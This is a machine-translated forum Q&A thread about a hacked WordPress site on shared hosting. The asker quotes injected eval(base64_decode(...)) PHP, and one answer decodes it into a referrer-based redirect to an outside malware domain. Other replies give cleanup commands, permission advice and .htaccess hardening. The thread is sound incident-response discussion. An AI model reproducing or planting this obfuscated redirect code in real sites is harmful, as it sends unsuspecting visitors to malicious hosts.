2012-02-07 49 views
0

我们为客户运行的WordPress网站已经被合并,并试图建立他们可能如何进入。似乎他们已经将代码注入到每个WP核心文件,所有主题文件和只有少数选择插件文件。WordPress网站Comprimised黑客

他们使用的代码是:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9")); 

有没有人见过或听说过这个?有没有人知道这可能发生的情况?所有WP文件权限都设置为建议的级别。

谢谢你的时间。

+0

我所知道的是,上周Anonymous声称他们在3.2.1版本中发现了一个漏洞......因此,如果你使用的是3.2.1版本,你可能想更新到当前版本(3.3 .1)... – Gabriel 2012-02-07 13:01:49

+0

我发生黑客攻击时正在运行3.3.1。 – 2012-02-07 14:02:56

回答

1

我在前一天发现了这个问题,发现sed在清理垃圾方面非常有用。它将自己附加到每个开放的PHP标签上,并且经常在代码末尾留下代码,因此需要一些小心的配置。

我相信这是我用过的命令,但要小心,这是sed毕竟; - )...

find . -name "*.php" -type f -exec sed -i 's/eval(.*));//' {} \; 
+0

这个命令是否删除所有的代码呢? – 2012-02-07 14:06:48

+0

我试过这个,它删除了代码,但打破了我的WP安装的其余部分:(在T_ELSE和SWITCH上解析错误 – 2012-02-07 15:42:00

+0

嗨,有可能让正则表达式更具体,以便它只针对正确的字符串 - 也许再试一次在第一个支架之后插入一个'base64'? – djb 2012-02-07 18:44:08

1

所以,下面的代码被重定向用户到列入黑名单的恶意软件现场?这是你正在经历的吗?

error_reporting(0); 
$qazplm=headers_sent(); 
if (!$qazplm){ 
    $referer=$_SERVER['HTTP_REFERER']; 
    $uag=$_SERVER['HTTP_USER_AGENT']; 
    if ($uag) { 
     if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { 
      if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ 
      header("Location: http://costabrava.bee.pl/"); 
      exit(); 
      } 
     } 
    } 
} 

你是WordPress的版本可能容易受到XSS。这个链接讨论它。 http://www.ethicalhack3r.co.uk/security/wordpress-3-3-cross-site-scripting-xss/

你在什么版本上?

+0

这是3.3.1。共享主机帐户上的所有其他站点也已被包括在内,包括Magento安装,这将是一个有趣的下午! – 2012-02-07 14:06:36

3

我见过这种情况发生的最常见方式是,当人们将他们所有的文件和文件夹设置为777时。如果必须为wp-content/uploads文件夹执行此操作,请确保您具有.htaccess在那里阻止脚本执行的指令。您的文件和文件夹应具有运行所需的最低权限(文件644,文件夹755)。

+0

这太糟糕了它会破坏编辑器的功能,但我同意这是防止黑客入侵的唯一方法 – thenetimp 2012-02-07 13:34:25

+0

我可以指出,这不是服务器上的唯一网站,因为它是1&1共享主机帐户,每个php文件都在整个托管账户已经被这个代码“感染”了。 – 2012-02-07 14:03:51

2

你也必须要经过这些WP环节都说明彻底清洁你的安装,防止代码注入或者WP核心或模板文件:请参见FAQ: My site was hacked « WordPress CodexHow to completely clean your hacked wordpress installationHow to find a backdoor in a hacked WordPressHardening WordPress « WordPress Codex.告诉你的主机和更改所有密码。也可能更换主机;一些共享主机比其他共享主机更脆弱。

这不会一直有帮助,因为它取决于整体服务器和主机参数,这些参数在廉价的共享主机上可能会使它们易受攻击,但您可以尝试使用这些参数来保护.htaccess和wp-config.php:

<Files .htaccess> 
order deny,allow 
deny from all 
</Files> 

<Files wp-config.php> 
order allow,deny 
deny from all 
</Files> 

in .htaccess。

1

我有完全相同的问题。

我猜这个网站是通过小部件感染的,因为我使用了一个允许PHP代码执行的插件。

我最好的解决办法是:

  • 消除可疑插件。
  • 查看一个受感染文件的时间和日期(我的情况:header.php)。
  • 清除所有受感染的文件(在我的情况下,我有一个网站的备份)。
  • 当时在日志文件中搜索可疑IP(搜索结果为黑名单上的IP地址为 )。
  • 安装一个插件来禁止可疑的IP。

从那一刻起问题就消失了。